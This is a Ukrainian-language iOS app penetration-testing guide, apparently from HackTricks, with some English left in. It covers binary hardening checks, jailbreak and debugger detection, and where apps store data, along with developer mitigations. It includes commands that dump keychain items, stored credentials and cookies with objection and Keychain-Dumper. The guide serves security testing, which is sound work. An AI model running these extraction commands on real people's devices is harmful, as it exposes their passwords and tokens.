iOS Pentesting

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

iOS Основи

iOS Basics

Середовище тестування

На цій сторінці можна знайти інформацію про iOS simulator, emulators та jailbreaking:

iOS Testing Environment

Початковий аналіз

Основні операції тестування iOS

Під час тестування будуть запропоновані кілька операцій (підключення до пристрою, читання/запис/завантаження/скачування файлів, використання деяких інструментів…). Тому, якщо ви не знаєте, як виконати будь-яку з цих дій, будь ласка, почніть з прочитання сторінки:

iOS Basic Testing Operations

Tip

Для наступних кроків застосунок має бути встановлений на пристрій і має бути отримано IPA file застосунку.
Прочитайте сторінку Basic iOS Testing Operations щоб дізнатися, як це зробити.

Базовий статичний аналіз

Деякі цікаві декомпілятори IPA файлів iOS:

Рекомендується використовувати інструмент MobSF для автоматичного статичного аналізу IPA файлу.

Визначення засобів захисту, присутніх у бінарному файлі:

  • PIE (Position Independent Executable): Коли увімкнено, застосунок завантажується за випадковою адресою пам’яті при кожному запуску, що ускладнює передбачення його початкової адреси пам’яті.
otool -hv <app-binary> | grep PIE   # It should include the PIE flag
  • Stack Canaries: Для перевірки цілісності стеку перед викликом функції на стек поміщається значення «canary», яке перевіряється знову після завершення функції.
otool -I -v <app-binary> | grep stack_chk   # It should include the symbols: stack_chk_guard and stack_chk_fail
  • ARC (Automatic Reference Counting): Щоб запобігти поширеним помилкам корупції пам’яті
otool -I -v <app-binary> | grep objc_release   # It should include the _objc_release symbol
  • Encrypted Binary: Бінарний файл має бути зашифрованим
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # The cryptid should be 1

Виявлення чутливих/небезпечних функцій

  • Слабкі хеш-алгоритми
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Ненадійні функції генерації випадкових чисел
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Ненадійна функція ‘Malloc’
# On the iOS device
otool -Iv <app> | grep -w "_malloc"

# On linux
grep -iER "_malloc"
  • Небезпечні та вразливі функції
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Поширені методи виявлення jailbreak

  • File System Checks: Перевірка на наявність поширених файлів і директорій jailbreak, таких як /Applications/Cydia.app або /Library/MobileSubstrate/MobileSubstrate.dylib.
  • Sandbox Violations: Спроба доступу до обмежених ділянок файлової системи, які мають бути заблоковані на не-jailbroken пристроях.
  • API Checks: Перевірка можливості використання заборонених викликів, таких як fork() для створення дочірнього процесу або system() щоб дізнатися, чи існує /bin/sh.
  • Process Checks: Моніторинг на наявність відомих процесів, пов’язаних із jailbreak, таких як Cydia, Substrate або ssh.
  • Kernel Exploits: Перевірка на наявність експлойтів ядра, які часто використовуються в jailbreak.
  • Environment Variables: Перевірка змінних оточення на ознаки jailbreak, таких як DYLD_INSERT_LIBRARIES.
  • Libraries Check: Перевірка бібліотек, які завантажені в процес додатка.
  • Check schemes: Наприклад canOpenURL(URL(string: "cydia://")).

Поширені методи виявлення Anti-Debugging

  • Check for Debugger Presence: Використовуйте sysctl або інші методи, щоб перевірити, чи підключено дебагер.
  • Anti-Debugging APIs: Шукайте виклики anti-debugging API, такі як ptrace або SIGSTOP, наприклад ptrace(PT_DENY_ATTACH, 0, 0, 0).
  • Timing Checks: Вимірюйте час виконання певних операцій і шукайте невідповідності, які можуть свідчити про відладку.
  • Memory Checks: Інспектуйте пам’ять на наявність відомих артефактів дебагера або модифікацій.
  • Environment Variables: Перевіряйте змінні оточення, які можуть вказувати на сеанс відладки.
  • Mach Ports: Виявляйте, чи використовуються mach exception ports дебагерами.

Базовий динамічний аналіз

Огляньте динамічний аналіз, який виконує MobSF. Вам потрібно буде переміщатися між різними уявленнями й взаємодіяти з ними, але воно буде хукати кілька класів під час виконання інших дій і підготує звіт після завершення.

Перелік встановлених додатків

Використайте команду frida-ps -Uai щоб визначити bundle identifier встановлених додатків:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Базова Enumeration & Hooking

Дізнайтеся, як enumerate the components of the application і як легко hook methods and classes за допомогою objection:

iOS Hooking With Objection

Структура IPA

Структура IPA file по суті відповідає структурі zipped package. Перейменувавши розширення на .zip, його можна decompress і переглянути вміст. У цій структурі Bundle представляє собою повністю упакований застосунок, готовий до встановлення. Всередині ви знайдете директорію з назвою <NAME>.app, яка інкапсулює ресурси застосунку.

  • Info.plist: Цей файл містить конкретні конфігураційні відомості про застосунок.
  • _CodeSignature/: Ця директорія включає plist-файл, який містить підпис, що забезпечує цілісність всіх файлів у бандлі.
  • Assets.car: Стиснутий архів, що зберігає asset-файли, такі як іконки.
  • Frameworks/: Ця папка містить native libraries застосунку, які можуть бути у вигляді .dylib або .framework файлів.
  • PlugIns/: Тут можуть бути розширення для застосунку, відомі як .appex файли, хоча вони присутні не завжди. * Core Data: It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container.
  • PkgInfo: Файл PkgInfo є альтернативним способом вказати type і creator коди вашого застосунку або bundle.
  • en.lproj, fr.proj, Base.lproj: Це мовні пакети, які містять ресурси для відповідних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
  • Безпека: Директорія _CodeSignature/ відіграє критичну роль у безпеці застосунку, перевіряючи цілісність усіх файлів бандлу через цифрові підписи.
  • Керування ресурсами: Файл Assets.car використовує стиснення для ефективного управління графічними активами, що важливо для оптимізації продуктивності застосунку та зменшення його загального розміру.
  • Frameworks і PlugIns: Ці директрії підкреслюють модульність iOS-застосунків, дозволяючи розробникам включати повторно використовувані бібліотеки коду (Frameworks/) та розширювати функціональність застосунку (PlugIns/).
  • Локалізація: Структура підтримує кілька мов, що полегшує глобальне поширення застосунку шляхом включення ресурсів для конкретних мовних пакетів.

Info.plist

Файл Info.plist є ключовим елементом iOS-застосунків, інкапсулюючи основні конфігураційні дані у формі key-value пар. Цей файл є обов’язковим не тільки для застосунків, але й для розширень застосунків та framework-ів, що містяться у бандлі. Він структурований у XML або бінарному форматі і містить критично важливу інформацію — від дозволів застосунку до конфігурацій безпеки. Для детального ознайомлення з доступними ключами можна звернутися до Apple Developer Documentation.

Для тих, хто хоче працювати з цим файлом у більш доступному форматі, конвертацію в XML можна легко виконати за допомогою plutil на macOS (доступний нативно у версіях 10.2 і новіших) або plistutil на Linux. Команди для конвертації виглядають так:

  • Для macOS:
$ plutil -convert xml1 Info.plist
  • Для Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Серед безлічі даних, які файл Info.plist може розкрити, помітними записами є рядки дозволів додатка (UsageDescription), власні схеми URL (CFBundleURLTypes) та конфігурації для App Transport Security (NSAppTransportSecurity). Ці записи, разом з іншими, такими як експортовані/імпортовані власні типи документів (UTExportedTypeDeclarations / UTImportedTypeDeclarations), можна легко знайти, переглянувши файл або використавши просту команду grep:

$ grep -i <keyword> Info.plist

Шляхи даних

У середовищі iOS каталоги спеціально призначені для системних додатків та додатків, встановлених користувачем. Системні додатки розміщуються в каталозі /Applications, тоді як додатки, встановлені користувачем, розташовуються під /var/mobile/containers/Data/Application/. Цим додаткам присвоюється унікальний ідентифікатор, відомий як 128-bit UUID, що ускладнює ручний пошук папки додатка через випадковість назв директорій.

Warning

Оскільки додатки в iOS мають бути ізольовані, кожен додаток також матиме папку всередині $HOME/Library/Containers з CFBundleIdentifier додатка як назвою папки.

Однак обидві папки (папки даних і папки контейнерів) містять файл .com.apple.mobile_container_manager.metadata.plist, який пов’язує обидві папки через ключ MCMetadataIdentifier).

Щоб полегшити виявлення директорії встановленого користувачем додатка, objection tool надає корисну команду env. Ця команда показує детальну інформацію про директорії для відповідного додатка. Нижче наведено приклад того, як використовувати цю команду:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Альтернативно, ім’я додатку можна шукати в межах /private/var/containers за допомогою команди find:

find /private/var/containers -name "Progname*"

Команди на кшталт ps та lsof також можна використовувати для визначення процесу додатку та переліку відкритих файлів відповідно, що дає уявлення про шляхи каталогів, які використовуються додатком:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Каталог Bundle:

  • AppName.app
  • Це Application Bundle, як було показано раніше в IPA; він містить необхідні дані застосунку, статичний вміст, а також скомпільований бінарний файл застосунку.
  • Цей каталог видимий для користувачів, але користувачі не можуть записувати туди.
  • Вміст цього каталогу не підлягає резервному копіюванню.
  • Вміст цього каталогу використовується для перевірки підпису коду.

Каталог даних:

  • Documents/
  • Містить усі дані, створені користувачем. Кінцевий користувач застосунку ініціює створення цих даних.
  • Видимий для користувачів і користувачі можуть записувати туди.
  • Вміст цього каталогу підлягає резервному копіюванню.
  • Застосунок може вимикати шляхи, встановивши NSURLIsExcludedFromBackupKey.
  • Library/
  • Містить всі файли, що не є специфічними для користувача, такі як кеші, налаштування, кукі, та конфігураційні файли property list (plist).
  • iOS-застосунки зазвичай використовують підкаталоги Application Support та Caches, але застосунок може створювати власні підкаталоги.
  • Library/Caches/
  • Містить напівпостійні файли кешу.
  • Невидимий для користувачів і користувачі не можуть записувати туди.
  • Вміст цього каталогу не підлягає резервному копіюванню.
  • ОС може автоматично видаляти файли цього каталогу, коли застосунок не запущений, а місця для зберігання недостатньо.
  • Library/Application Support/
  • Містить постійні файли, необхідні для роботи застосунку.
  • Невидимий для користувачів і користувачі не можуть записувати туди.
  • Вміст цього каталогу підлягає резервному копіюванню.
  • Застосунок може вимикати шляхи, встановивши NSURLIsExcludedFromBackupKey.
  • Library/Preferences/
  • Використовується для зберігання властивостей, які можуть зберігатися навіть після перезапуску застосунку.
  • Інформація зберігається, незашифрована, всередині sandbox застосунку у plist файлі під назвою [BUNDLE_ID].plist.
  • Усі пари ключ/значення, збережені за допомогою NSUserDefaults, знаходяться у цьому файлі.
  • tmp/
  • Використовуйте цей каталог для запису тимчасових файлів, які не потрібно зберігати між запусками застосунку.
  • Містить непостійні кешовані файли.
  • Невидимий для користувачів.
  • Вміст цього каталогу не підлягає резервному копіюванню.
  • ОС може автоматично видаляти файли цього каталогу, коли застосунок не запущений і місця для зберігання стає недостатньо.

Розглянемо детальніше Application Bundle iGoat-Swift (.app) всередині каталогу Bundle (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

Всередині папки <application-name>.app ви знайдете бінарний файл під назвою <application-name>. Це файл, який буде виконуватися. Ви можете виконати базовий огляд бінарного файлу за допомогою інструмента otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Перевірте, чи app зашифровано

Перевірте, чи є якийсь вивід для:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Дизасемблювання бінарного файлу

Дизасемблюйте секцію .text:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Щоб вивести Objective-C сегмент з зразкового додатка, можна використати:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Щоб отримати більш компактний код Objective-C, ви можете використати class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Однак найкращими варіантами для дизасемблювання бінарного файлу є: Hopper і IDA.

Зберігання даних

Щоб дізнатися, як iOS зберігає дані на пристрої, прочитайте цю сторінку:

iOS Basics

Warning

Наступні місця зберігання інформації слід перевіряти відразу після встановлення додатку, після перевірки всіх функціональностей додатку і навіть після виходу з одного облікового запису та входу в інший.
Мета — знайти незахищену конфіденційну інформацію додатку (паролі, токени), поточного користувача та раніше залогінених користувачів.

Plist

plist файли — це структуровані XML-файли, які містять пари ключ-значення. Це спосіб зберігання персистентних даних, тож іноді в цих файлах можна знайти чутливу інформацію. Рекомендується перевіряти ці файли після встановлення додатку та після інтенсивного використання, щоб побачити, чи записуються нові дані.

Найбільш поширений спосіб зберігання даних у plist-файлах — використання NSUserDefaults. Цей plist-файл зберігається в межах sandbox додатку в Library/Preferences/<appBundleID>.plist

Клас NSUserDefaults надає програмний інтерфейс для взаємодії зі системою за замовчуванням. Система за замовчуванням дозволяє додатку налаштовувати свою поведінку відповідно до параметрів користувача. Дані, збережені за допомогою NSUserDefaults, можна переглянути в бандлі додатку. Цей клас зберігає дані у plist файлі, але призначений для невеликих обсягів даних.

Ці дані більше не можна безпосередньо отримати з довіреного комп’ютера, але їх можна отримати, виконавши backup.

Ви можете dump інформацію, збережену через NSUserDefaults, використавши objection: ios nsuserdefaults get

Щоб знайти всі plist, які використовує додаток, можна зайти в /private/var/mobile/Containers/Data/Application/{APPID} і виконати:

find ./ -name "*.plist"

Щоб конвертувати файли з XML або бінарного (bplist) формату в XML, доступні різні методи залежно від вашої операційної системи:

Для користувачів macOS: Використовуйте команду plutil. Це вбудований інструмент у macOS (10.2+), призначений для цього:

$ plutil -convert xml1 Info.plist

Для користувачів Linux: Спочатку встановіть libplist-utils, потім використайте plistutil для конвертації вашого файлу:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

В межах Objection Session: Для аналізу мобільних застосунків певна команда дозволяє конвертувати plist-файли безпосередньо:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data — це фреймворк для управління шаром моделі об’єктів у вашому застосунку. Core Data can use SQLite as its persistent store, але сам фреймворк не є базою даних.
CoreData за замовчуванням не шифрує свої дані. Однак до CoreData можна додати додатковий шар шифрування. Детальніше див. GitHub Repo.

Інформацію SQLite Core Data застосунку можна знайти за шляхом /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Якщо ви можете відкрити SQLite і отримати доступ до конфіденційної інформації, це означає, що в конфігурації допущена помилка.

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase — це сховище ключ-значення, побудоване на базі SQLite.
Оскільки бази даних Yap є SQLite-базами, ви можете знайти їх, використовуючи команду, наведeну в попередньому розділі.

Інші SQLite Databases

Зазвичай додатки створюють власну SQLite-базу даних. Вони можуть зберігати чутливі дані у них і залишати їх незашифрованими. Тому завжди цікаво перевірити кожну базу даних у директорії додатку. Перейдіть у директорію додатку, куди зберігаються дані (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

Розробникам дозволено зберігати та синхронізувати дані у NoSQL хмарно розміщеній базі даних через Firebase Real-Time Databases. Збережені у форматі JSON, дані синхронізуються з усіма підключеними клієнтами в режимі реального часу.

Інструкцію з перевірки неправильно налаштованих Firebase databases можна знайти тут:

Firebase Database

Realm databases

Realm Objective-C і Realm Swift пропонують потужну альтернативу для зберігання даних, яку не надає Apple. За замовчуванням вони зберігають дані незашифрованими, шифрування доступне через спеціальну конфігурацію.

Бази даних розташовані за шляхом: /private/var/mobile/Containers/Data/Application/{APPID}. Для дослідження цих файлів можна використовувати такі команди:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Для перегляду цих файлів бази даних рекомендується інструмент Realm Studio.

Щоб реалізувати шифрування в базі даних Realm, можна використовувати наступний фрагмент коду:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Бази даних Couchbase Lite

Couchbase Lite описується як легкий та вбудований механізм бази даних, що використовує документно-орієнтований (NoSQL) підхід. Розроблений як нативний для iOS та macOS, він дозволяє безшовно синхронізувати дані.

Щоб виявити потенційні бази даних Couchbase на пристрої, слід перевірити наступний каталог:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Кукі

iOS зберігає кукі додатків у Library/Cookies/cookies.binarycookies всередині папки кожного додатку. Однак розробники іноді вирішують зберігати їх у keychain, оскільки згаданий cookie file може бути доступний у резервних копіях.

Щоб переглянути cookie file ви можете використати this python script або використати objection’s ios cookies get.
Ви також можете використати objection, щоб конвертувати ці файли у формат JSON та переглянути дані.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Кеш

За замовчуванням NSURLSession зберігає дані, такі як HTTP requests and responses in the Cache.db database. Ця база даних може містити чутливі дані, якщо токени, імена користувачів або будь-яка інша конфіденційна інформація була закешована. Щоб знайти кешовану інформацію, відкрийте каталог даних додатку (/var/mobile/Containers/Data/Application/<UUID>) і перейдіть до /Library/Caches/<Bundle Identifier>. The WebKit cache is also being stored in the Cache.db file. Objection може відкрити та взаємодіяти з базою даних за допомогою команди sqlite connect Cache.db, оскільки це нормальна SQLite база даних.

Рекомендується відключити кешування цих даних, оскільки вони можуть містити конфіденційну інформацію в запиті або відповіді. Нижче наведено кілька способів досягти цього:

  1. Рекомендується видаляти кешовані відповіді після logout. Це можна зробити за допомогою методу від Apple під назвою removeAllCachedResponses Ви можете викликати цей метод так:

URLCache.shared.removeAllCachedResponses()

Цей метод видалить усі кешовані запити та відповіді з файлу Cache.db.

  1. Якщо вам не потрібно використовувати переваги cookies, рекомендується просто використовувати властивість конфігурації [.ephemeral] URLSession, яка вимкне збереження cookies і кешів.

Apple documentation:

An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

  1. Кеш також можна вимкнути, встановивши Cache Policy на [.notAllowed]. Це вимкне зберігання кешу будь-яким способом — ні в пам’яті, ні на диску.

Знімки

Коли ви натискаєте home button, iOS робить знімок поточного екрану щоб перейти до додатку більш плавно. Однак, якщо на поточному екрані присутні чутливі дані, вони будуть збережені в зображенні (яке зберігається після перезавантажень). Це ті знімки, до яких ви також можете отримати доступ, двічі торкнувшись home screen для перемикання між додатками.

Якщо iPhone не jailbroken, attacker повинен мати access до device unblocked, щоб побачити ці скріншоти. За замовчуванням останній знімок зберігається в пісочниці додатку в Library/Caches/Snapshots/ або Library/SplashBoard/Snapshots (trusted computers can’ t access the filesystem from iOX 7.0).

Один зі способів запобігти такій небажаній поведінці — відобразити пустий екран або видалити чутливі дані перед створенням знімка, використовуючи функцію ApplicationDidEnterBackground().

Нижче наведено приклад методу усунення вразливості, який встановлює стандартний скріншот.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Це встановлює фонове зображення overlayImage.png щоразу, коли додаток відправлено у фон. Це запобігає витокам чутливої інформації (leaks), оскільки overlayImage.png завжди перекриватиме поточний вигляд.

Keychain

Для доступу та керування iOS keychain доступні інструменти, такі як Keychain-Dumper, які підходять для jailbroken пристроїв. Крім того, Objection надає команду ios keychain dump для подібних цілей.

Збереження облікових даних

Клас NSURLCredential ідеально підходить для збереження чутливої інформації безпосередньо в keychain, минаючи потребу в NSUserDefaults або інших обгортках. Щоб зберегти облікові дані після входу, використовується наступний Swift-код:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Для витягання цих збережених облікових даних використовується команда Objection ios nsurlcredentialstorage dump.

Користувацькі клавіатури та кеш клавіатури

Починаючи з iOS 8.0, користувачі можуть встановлювати розширення користувацьких клавіатур, які можна керувати в Settings > General > Keyboard > Keyboards. Хоча ці клавіатури надають розширені можливості, вони створюють ризик keystroke logging та передачі даних на віддалені сервери; користувачів інформують про клавіатури, які потребують доступу в мережу. Додатки можуть і повинні обмежувати використання користувацьких клавіатур при введенні конфіденційної інформації.

Рекомендації з безпеки:

  • Рекомендується відключити клавіатури сторонніх розробників для підвищення безпеки.
  • Звертайте увагу на функції автокорекції та автопідказок стандартної iOS клавіатури, які можуть зберігати конфіденційну інформацію у файлах кешу, розташованих у Library/Keyboard/{locale}-dynamic-text.dat або /private/var/mobile/Library/Keyboard/dynamic-text.dat. Ці файли кешу слід регулярно перевіряти на предмет конфіденційних даних. Рекомендується скидання словника клавіатури через Settings > General > Reset > Reset Keyboard Dictionary для очищення кешованих даних.
  • Перехоплення мережевого трафіку може показати, чи передає користувацька клавіатура натискання клавіш на віддалений сервер.

Запобігання кешуванню текстових полів

Протокол UITextInputTraits protocol надає властивості для керування автокорекцією та secure text entry, що важливо для запобігання кешуванню конфіденційної інформації. Наприклад, вимкнення автокорекції та увімкнення secure text entry можна реалізувати так:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Крім того, розробники повинні переконатися, що текстові поля, особливо ті, призначені для введення конфіденційної інформації, такої як passwords and PINs, відключають кешування, встановивши autocorrectionType на UITextAutocorrectionTypeNo та secureTextEntry на YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Логи

Налагодження коду часто передбачає використання логування. Існує ризик, оскільки логи можуть містити конфіденційну інформацію. Раніше, в iOS 6 та старіших версіях, логи були доступні всім додаткам, що створювало ризик витоку конфіденційних даних. Тепер додатки обмежені у доступі лише до своїх логів.

Незважаючи на ці обмеження, атакуючий з фізичним доступом до розблокованого пристрою все ще може скористатися цим, підключивши пристрій до комп’ютера та читати логи. Варто зазначити, що логи залишаються на диску навіть після видалення додатка.

Щоб зменшити ризики, рекомендується ретельно взаємодіяти з додатком, перевіряючи всі його функції та поля введення, щоб упевнитися, що конфіденційна інформація випадково не записується в логи.

Під час перегляду вихідного коду додатка на предмет потенційних витоків шукайте як вбудовані, так і кастомні вирази логування з такими ключовими словами, як NSLog, NSAssert, NSCAssert, fprintf для вбудованих функцій, а також будь-які згадки Logging або Logfile для кастомних реалізацій.

Моніторинг системних логів

Додатки логують різну інформацію, яка може бути конфіденційною. Для моніторингу цих логів можна використовувати інструменти та команди, наприклад:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

є корисними. Крім того, Xcode надає спосіб збору консольних логів:

  1. Відкрийте Xcode.
  2. Підключіть iOS-пристрій.
  3. Перейдіть до Window -> Devices and Simulators.
  4. Виберіть свій пристрій.
  5. Викличте проблему, яку ви досліджуєте.
  6. Використайте кнопку Open Console, щоб переглянути логи в новому вікні.

Для більш просунутого логування, підключення до device shell і використання socat можуть забезпечити моніторинг логів у реальному часі:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Наведено команди для перегляду активності логів, які можуть бути неоціненними для діагностики проблем або виявлення потенційного data leakage у логах.

Резервні копії

Функції автоматичного резервного копіювання інтегровані в iOS, полегшуючи створення копій даних пристрою через iTunes (до macOS Catalina), Finder (з macOS Catalina і далі) або iCloud. Ці резервні копії охоплюють майже всі дані пристрою, за винятком дуже чутливих елементів, таких як деталі Apple Pay та конфігурації Touch ID.

Ризики безпеки

Включення встановлених додатків та їхніх даних в резервні копії піднімає питання потенційного data leakage і ризик того, що зміни резервної копії можуть змінити функціональність додатка. Рекомендується не зберігати чутливу інформацію у відкритому вигляді в жодному каталозі додатка або його підкаталогах, щоб зменшити ці ризики.

Виключення файлів з резервних копій

Файли в Documents/ та Library/Application Support/ за замовчуванням включаються до резервних копій. Розробники можуть виключити певні файли або каталоги з резервних копій, використовуючи NSURL setResourceValue:forKey:error: з ключем NSURLIsExcludedFromBackupKey. Така практика є важливою для захисту чутливих даних від потрапляння до резервних копій.

Тестування на вразливості

Щоб оцінити безпеку резервних копій додатка, почніть зі створення резервної копії за допомогою Finder, а потім знайдіть її за вказівками з Apple’s official documentation. Проаналізуйте резервну копію на предмет чутливих даних або конфігурацій, які можна змінити, щоб вплинути на поведінку додатка.

Чутливу інформацію можна шукати за допомогою інструментів командного рядка або програм, як-от iMazing. Для зашифрованих резервних копій наявність шифрування можна підтвердити, перевіривши ключ “IsEncrypted” у файлі “Manifest.plist” в корені резервної копії.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

For dealing with encrypted backups, Python scripts available in DinoSec’s GitHub repo, like backup_tool.py and backup_passwd.py, may be useful, albeit potentially requiring adjustments for compatibility with the latest iTunes/Finder versions. The iOSbackup tool is another option for accessing files within password-protected backups.

